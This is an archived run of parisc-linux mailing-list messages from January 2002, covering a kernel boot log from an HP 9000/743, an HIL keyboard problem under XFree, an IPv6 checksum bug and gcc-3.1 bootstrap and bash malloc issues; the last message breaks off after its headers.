On Sun, Jan 27, 2002 at 05:27:12PM +0000, Matthew Wilcox wrote:
> Cool, can you play mp3s?  The CPU should be fast enough :-)

Yes, uses about 38% CPU :-)

Here's a 2.4.17 bootlog with the previously unknown devices identified.

Richard


Linux version 2.4.17-pa15 (richard@beast) (gcc version 3.0.2 20010829 (prerelease)) #1 Sun Jan 27 18:16:34 GMT 2002
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00006040 00000481 00000000 00000000 4c418c55 00000000 00000004 00000072 00000072
vers  0000000c
model 9000/743
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/sda3 ro  console=tty0 sti=0 sti_font=VGA8x16
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126352k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Searching for devices...
Found devices:
1. Anole Artist Optional Graphics (10) at 0xf8000000 [1], versions 0x8, 0x0, 0x85
2. Anole 100 Core BA (11) at 0xf0100000 [2], versions 0x1b, 0x0, 0x81
3. Anole 100 Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x1b, 0x0, 0x82
4. Anole 100 Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x1b, 0x0, 0x8a
5. Anole 100 Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x1b, 0x0, 0x8c
6. Anole 100 Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x1b, 0x0, 0x74
7. Anole 100 Audio (10) at 0xf0104000 [2/0/8], versions 0x1b, 0x0, 0x7b
8. Anole 100 Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x1b, 0x0, 0x84
9. Anole 100 Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x1b, 0x0, 0x84
10. Anole 100 TIMI BA (11) at 0xffc11000 [7], versions 0x1b, 0x0, 0x93
11. Anole 100 VME Networking (10) at 0xffcf0000 [7/0/1], versions 0x1b, 0x0, 0x88
12. Anole 100 Timi RS-232 (10) at 0xffc1a000 [7/0/2], versions 0x21, 0x0, 0x8c
13. Anole 100 Boot Rom (10) at 0xffcf1000 [7/0/3], versions 0x1b, 0x0, 0x8f
14. Anole 100 (743/100) (0) at 0xfffbe000 [8], versions 0x604, 0x0, 0x4
15. Memory Module (1) at 0xfffbf000 [9], versions 0x0, 0x0, 0x9
16. Shrike Add-on FW-SCSI (4) at 0xfff88000 [11], versions 0x14, 0x0, 0x89
17. Anole 100 VME BA (11) at 0xffc00000 [15], versions 0x1b, 0x0, 0x78
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Lasi version 0 at 0xf0100000 found.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
STI word mode ROM at f002e000, hpa=f8000000
STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1280
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
IRQ not found for serial device at 0xffc1a000
Warning : device (10, 0x21, 0x0, 0x8c) NOT claimed by Serial RS232
register_kbd_ops(102be4e8), 101ac78c, 101ac7d4
PS/2 keyboard port at 0xf0108000 (irq 69) found, device attached.
PS/2 psaux port at 0xf0108100 (irq 69) found, no device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 4F FE 1A IRQ 87.
82596.c $Revision: 1.27 $
SCSI subsystem driver Revision: 1.00
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
scsi1: (0:0) Synchronous at offset 8, period 236ns
  Vendor: TOSHIBA   Model: CD-ROM XM-5401TA  Rev: 1036
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi1: (1:0) Synchronous at offset 8, period 100ns
  Vendor: IBM       Model: DCHS04F  CLAR04   Rev: HP53
  Type:   Direct-Access                      ANSI SCSI revision: 02
scsi1: (4:0) Synchronous at offset 8, period 100ns
  Vendor: IBM       Model: DCHS04F  CLAR04   Rev: HP53
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi1, channel 0, id 1, lun 0
Attached scsi disk sdb at scsi1, channel 0, id 4, lun 0
scsi1: (1:0) Enabling Tag Command Queuing
SCSI device sda: 8813870 512-byte hdwr sectors (4513 MB)
Partition check:
 sda: sda1 sda2 sda3
scsi1: (4:0) Enabling Tag Command Queuing
SCSI device sdb: 8813870 512-byte hdwr sectors (4513 MB)
 sdb: sdb1
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 0, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 18 at 0xf0104000, IRQ 82
sticonsole_init: searching for STI ROMs
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
NOT FREEING INITMEM
Adding Swap: 249912k swap-space (priority -1)
eth0: link ok.
eth0: link ok.





From - Thu Nov 08 21:21:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Cronenberg <sven.cronenberg@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL Keyboard under X-Free
Date: Mon, 28 Jan 2002 11:21:27 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <3C552627.3020801@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621015 1689 80.91.229.3 (22 Nov 2014 01:50:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 28 03:12:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp01.web.de [194.45.170.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F1ED482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jan 2002 03:12:42 -0700 (MST)
Original-Received: from pc0612a.pdi-berlin.de ([195.37.92.71] helo=web.de)
	by smtp.web.de with asmtp (Exim 4.11 #37)
	id 16V8mB-0005sO-00
	for parisc-linux@lists.parisc-linux.org; Mon, 28 Jan 2002 11:12:35 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13886

Hi !
I am running PARISC Linux on an HP9000/735 workstation. I use the latest kernel and
updated the debian packages yesterday. Still the 'i' and the 'o' key don't work
under XFree. Everything else works fine. Has anyone found a solution for
using those keys under XFree on a HIL Keyboard?

Sven





From - Thu Nov 08 21:21:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL Keyboard under X-Free
Date: Mon, 28 Jan 2002 12:44:44 +0100
Organization: SAP LinuxLab
Lines: 20
Approved: news@gmane.org
Message-ID: <E16VADb-0000HU-00@linuxlab.wdf.sap-ag.de>
References: <3C552627.3020801@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621015 1693 80.91.229.3 (22 Nov 2014 01:50:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:15 +0000 (UTC)
To: Sven Cronenberg <sven.cronenberg@web.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 28 04:45:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 259C8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jan 2002 04:45:02 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id MAA04226;
  Mon, 28 Jan 2002 12:48:52 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <3C552627.3020801@web.de>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13887

On Monday 28 January 2002 11:21, Sven Cronenberg wrote:
> Hi !
> I am running PARISC Linux on an HP9000/735 workstation. I use the latest
> kernel and updated the debian packages yesterday. Still the 'i' and the 'o'
> key don't work under XFree. Everything else works fine. Has anyone found a
> solution for using those keys under XFree on a HIL Keyboard?
>
> Sven

Hi Sven,

I started to debug it, but didn't find an solution yet.
AFAIT it's not related to any bug in the xkb maps, instead it seems to be a bug
somewhere in the X Server itself.
I'm still working on it, but of course any help much appreciated.

Regards,
Helge



From - Thu Nov 08 21:21:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IPv6
Date: Mon, 28 Jan 2002 20:17:12 +0100 (CET)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0201282014540.13593-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621016 1720 80.91.229.3 (22 Nov 2014 01:50:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:16 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 28 12:17:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6584482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jan 2002 12:17:20 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g0SJHC027691
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jan 2002 20:17:12 +0100 (CET)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13888

Hi there,

> revision 1.251
> date: 2002/01/22 05:09:00;  author: grundler;  state: Exp;  lines: +1 -1
> 2.4.17-pa13
> replace BUG() in csum_ipv6_magic() with both PA2.0 and PA1.1 __asm__.
> I modeled the asm after the generic csum_ipv6_magic().
> This code is *NOT* tested since I have no clue about IPV6.

and unfortunately, it doesn't work. This is what i get when i ping my 720
from an Intel box:

ICMPv6 checksum failed [3ffe:0400:0470:0004:0000:0000:0000:0001 >
ff02:0000:0000:0000:0000:0001:ff00:0002]
NET: 4 messages suppressed.

I'll try to have a look...

Cheers,
Jochen




From - Thu Nov 08 21:21:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IPv6
Date: Mon, 28 Jan 2002 13:03:56 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20020128200356.61E33482A@dsl2.external.hp.com>
References: <Pine.NEB.4.33.0201282014540.13593-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621016 1733 80.91.229.3 (22 Nov 2014 01:50:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:16 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 28 13:03:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 61E33482A; Mon, 28 Jan 2002 13:03:56 -0700 (MST)
In-Reply-To: Message from Jochen Friedrich <jochen@scram.de> 
   of "Mon, 28 Jan 2002 20:17:12 +0100." <Pine.NEB.4.33.0201282014540.13593-100000@www2.scram.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13889

Jochen Friedrich wrote:
> and unfortunately, it doesn't work. This is what i get when i ping my 720
> from an Intel box:
> 
> ICMPv6 checksum failed [3ffe:0400:0470:0004:0000:0000:0000:0001 >
> ff02:0000:0000:0000:0000:0001:ff00:0002]
> NET: 4 messages suppressed.
> 
> I'll try to have a look...

Excellent - I just don't have more time to look at it.
Obviously, you want to look at the 32-bit version.

Another idea is to compare the generic code output with
the asm return value.

In any case, I'd be happy to commit any patch you come up.

grant



From - Thu Nov 08 21:21:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FYI - gcc 3.1 news
Date: Mon, 28 Jan 2002 13:08:20 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20020128200820.61546482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621016 1737 80.91.229.3 (22 Nov 2014 01:50:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 28 13:08:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61546482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jan 2002 13:08:20 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13890

Hi all,
Some good news from gcc-hppa maintainer.

If anyone has a clue about the malloc issues...it would be
interesting to get fixed.

enjoy!
grant

------- Forwarded Message

Subject: Re: gcc-3.1 bootstrap (keys)
Date: Mon, 28 Jan 2002 12:45:09 -0500 (EST)
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>

The keys work.  I did quite a bit of work on the weekend and managed
to gcc-3.1 to boot on the machine.  I posted the testresults here:

<http://gcc.gnu.org/ml/gcc-testresults/2002-01/msg00545.html>.  The
g77 and objc results are excellent.  The gcc results are not too bad.
I think many of the failures there are due to the linker not providing
the correct stub for indirect calls involving doubles.  There is clearly
a problem involving unwinding/exception handling affecting the g++
results.  I had to rewrite the frame note code that Alan Modra added
to get a successful build.

I have observed one problem affecting the system that seems to occur
in g++ compilations which typically need a lot of memory allocated:

/home/dave/gcc-3.1/objdir/gcc/xgcc -B/home/dave/gcc-3.1/objdir/gcc/ -nostdinc++
- -L/home/dave/gcc-3.1/objdir/hppa-linux/libstdc++-v3/src -L/home/dave/gcc-3.1/obj
dir/hppa-linux/libstdc++-v3/src/.libs -B/home/dave/opt/gnu/hppa-linux/bin/ -B/ho
me/dave/opt/gnu/hppa-linux/lib/ -isystem /home/dave/opt/gnu/hppa-linux/include -
I../../../../gcc/libstdc++-v3/../gcc -I../../../../gcc/libstdc++-v3/../include -
I/home/dave/gcc-3.1/objdir/hppa-linux/libstdc++-v3/include/hppa-linux -I/home/da
ve/gcc-3.1/objdir/hppa-linux/libstdc++-v3/include -I../../../../gcc/libstdc++-v3
/libsupc++ -g -O2 -D_GNU_SOURCE -fno-implicit-templates -Wall -Wno-format -W -Ww
rite-strings -Winline -fdiagnostics-show-location=once -ffunction-sections -fdat
a-sections -g -c ../../../../gcc/libstdc++-v3/libsupc++/pure.cc  -fPIC -DPIC -o
pure.o

malloc: /build/buildd/bash-2.05a/dispose_cmd.c:224: assertion botched
free: called with unallocated block argument
Stopping myself...make[4]: *** [pure.lo] Aborted

I don't know if this is a problem with bash, malloc or sbrk.  Usually,
the compilation will succeed if I just restart it.

Dave
- -- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

------- End of Forwarded Message




From - Thu Nov 08 21:21:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FYI - gcc 3.1 news
Date: Mon, 28 Jan 2002 23:51:13 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <15445.54753.489018.115701@gargle.gargle.HOWL>
References: <20020128200820.61546482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621017 1740 80.91.229.3 (22 Nov 2014 01:50:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, chet@po.cwru.edu,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 28 15:52:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F2EB482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Jan 2002 15:52:42 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id XAA03746;
	Mon, 28 Jan 2002 23:51:13 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.10.2+Sun/8.9.3) id g0SMpDE07952;
	Mon, 28 Jan 2002 23:51:13 +0100 (MET)
In-Reply-To: <20020128200820.61546482A@dsl2.external.hp.com>
X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13891

Grant Grundler writes:
> 
> Hi all,
> Some good news from gcc-hppa maintainer.
> 
> If anyone has a clue about the malloc issues...it would be
> interesting to get fixed.

this is bash. see http://bugs.debian.org/130051, however I am unable
to trigger this myself. One thing that could be tried: configure bash
--without-bash-malloc

	Matthias

> 
> enjoy!
> grant
> 
> ------- Forwarded Message
> 
> Subject: Re: gcc-3.1 bootstrap (keys)
> Date: Mon, 28 Jan 2002 12:45:09 -0500 (EST)
> From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
> 
> The keys work.  I did quite a bit of work on the weekend and managed
> to gcc-3.1 to boot on the machine.  I posted the testresults here:
> 
> <http://gcc.gnu.org/ml/gcc-testresults/2002-01/msg00545.html>.  The
> g77 and objc results are excellent.  The gcc results are not too bad.
> I think many of the failures there are due to the linker not providing
> the correct stub for indirect calls involving doubles.  There is clearly
> a problem involving unwinding/exception handling affecting the g++
> results.  I had to rewrite the frame note code that Alan Modra added
> to get a successful build.
> 
> I have observed one problem affecting the system that seems to occur
> in g++ compilations which typically need a lot of memory allocated:
> 
> /home/dave/gcc-3.1/objdir/gcc/xgcc -B/home/dave/gcc-3.1/objdir/gcc/ -nostdinc++
> - -L/home/dave/gcc-3.1/objdir/hppa-linux/libstdc++-v3/src -L/home/dave/gcc-3.1/obj
> dir/hppa-linux/libstdc++-v3/src/.libs -B/home/dave/opt/gnu/hppa-linux/bin/ -B/ho
> me/dave/opt/gnu/hppa-linux/lib/ -isystem /home/dave/opt/gnu/hppa-linux/include -
> I../../../../gcc/libstdc++-v3/../gcc -I../../../../gcc/libstdc++-v3/../include -
> I/home/dave/gcc-3.1/objdir/hppa-linux/libstdc++-v3/include/hppa-linux -I/home/da
> ve/gcc-3.1/objdir/hppa-linux/libstdc++-v3/include -I../../../../gcc/libstdc++-v3
> /libsupc++ -g -O2 -D_GNU_SOURCE -fno-implicit-templates -Wall -Wno-format -W -Ww
> rite-strings -Winline -fdiagnostics-show-location=once -ffunction-sections -fdat
> a-sections -g -c ../../../../gcc/libstdc++-v3/libsupc++/pure.cc  -fPIC -DPIC -o
> pure.o
> 
> malloc: /build/buildd/bash-2.05a/dispose_cmd.c:224: assertion botched
> free: called with unallocated block argument
> Stopping myself...make[4]: *** [pure.lo] Aborted
> 
> I don't know if this is a problem with bash, malloc or sbrk.  Usually,
> the compilation will succeed if I just restart it.
> 
> Dave
> - -- 
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)
> 
> ------- End of Forwarded Message
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:21:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X on 715/100
Date: Mon, 28 Jan 2002 21:14:55 -0900 (AKST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201282102210.1826-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621017 1746 80.91.229.3 (22 Nov 2014 01:50:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:17 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 28 23:20:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29932482A
	for <parisc-linux@parisc-linux.org>; Mon, 28 Jan 2002 23:20:09 -0700 (MST)
